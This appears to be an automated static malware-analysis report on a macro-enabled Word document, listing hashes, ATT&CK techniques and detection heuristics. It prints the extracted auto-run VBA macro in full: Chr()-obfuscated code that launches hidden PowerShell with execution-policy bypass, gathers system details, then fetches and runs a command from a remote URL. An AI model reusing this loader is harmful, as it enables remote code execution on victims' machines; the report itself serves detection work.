Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 83b15082671cb095…

MALICIOUS

Office (OOXML) / .DOCX

18.8 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-24
MD5: b8e1a8396e20480680f3e42980b20aaf SHA-1: 68e107dbb14ea4868834ade85cacf1f6b57f0273 SHA-256: 83b15082671cb095858879d2fe0d73538cff364342249a130bbb69d7b2e00a98
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains a VBA macro that is automatically executed upon opening. This macro uses `CreateObject` to instantiate a `WScript.Shell` object and then executes a PowerShell command. The PowerShell command is obfuscated using character codes and is designed to gather system information. The presence of `CreateObject` and `Shell` calls, along with an obfuscated auto-executing loader, strongly suggests the intent is to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4794 bytes
SHA-256: 9f92d98ffcfe0ad1418b15c68c0c31bb3f8a43ea1cb28f19a5a542a56d4d8998
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim shell As Object
    Dim http As Object
    Dim command As String
    Dim systemInfo As String
    
    ' Create WScript.Shell object
    Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    
    ' Execute PowerShell to gather system information
    systemInfo = shell.Exec(Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(45) & Chr(69) & Chr(120) & Chr(101) & Chr(99) & Chr(117) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(80) & Chr(111) & Chr(108) & Chr(105) & Chr(99) & Chr(121) & Chr(32) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(45) & Chr(78) & Chr(111) & Chr(80) & Chr(114) & Chr(111) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(45) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(83) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(72) & Chr(105) & Chr(100) & Chr(100) & Chr(101) & Chr(110) & Chr(32) & Chr(45) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(32) & Chr(34) & Chr(71) & Chr(101) & Chr(116) & Chr(45) & Chr(87) & Chr(109) & Chr(105) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(
32) & Chr(45) & Chr(67) & Chr(108) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) & Chr(79) & Chr(112) & Chr(101) & Chr(114) & Chr(97) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(32) & Chr(124) & Chr(32 Chr(83) & Chr(101) & Chr(108) & Chr(101) & Chr(99) & Chr(116) & Chr(45) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(67) & Chr(97) & Chr(112) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(44) & Chr(32) & Chr(79) & Chr(83) & Chr(65) & Chr(114) & Chr(99) & Chr(104) & Chr(105) & Chr(116) & Chr(101) & Chr(99) & Chr(116) & Chr(117) & Chr(114) & Chr(101) & Chr(59) & Chr(32) & Chr(71) & Chr(101) & Chr(116) & Chr(45) & Chr(87) & Chr(109) & Chr(105) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(45) & Chr(67) & Chr(108) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) &
 Chr(67) & Chr(111) & Chr(109) & Chr(112) & Chr(117) & Chr(116) & Chr(101) & Chr(114) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(32) & Chr(124) & Chr(32) & Chr(83) & Chr(101) & Chr(108) & Chr(101) & Chr(99) & Chr(116) & Chr(45) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(78) & Chr(97) & Chr(109) & Chr(101) & Chr(34)).StdOut.ReadAll
    
    ' Create MSXML2.XMLHTTP object to fetch command from C2 server
    Set http = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
    http.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116), False
    http.Send
    
    ' Get the command string from the C2 server
    command = http.responseText
    
    ' Execute the command string using PowerShell
    shell.Run Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(45) & Chr(69) & Chr(120) & Chr(101) & Chr(99) & Chr(117) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(80) & Chr(111) & Chr(108) & Chr(105) & Chr(99) & Chr(121) & Chr(32) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(45) & Chr(78) & Chr(111) & Chr(80) & Chr(114) & Chr(111) & Chr(102) & Chr(105) & Chr(108) & Chr(101) & Chr(32) & Chr(45) & Chr(87) & Chr(105) & Chr(110) & Chr(100) & Chr(111) & Chr(119) & Chr(83) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(72) & Chr(105) & Chr(100) & Chr(100) & Chr(101) & Chr(110) & Chr(32) & Chr(45) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(32) & command, 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: d33a1b8d090107986a64cc3915817bb592b6ba833cd5a670ba16907439e07225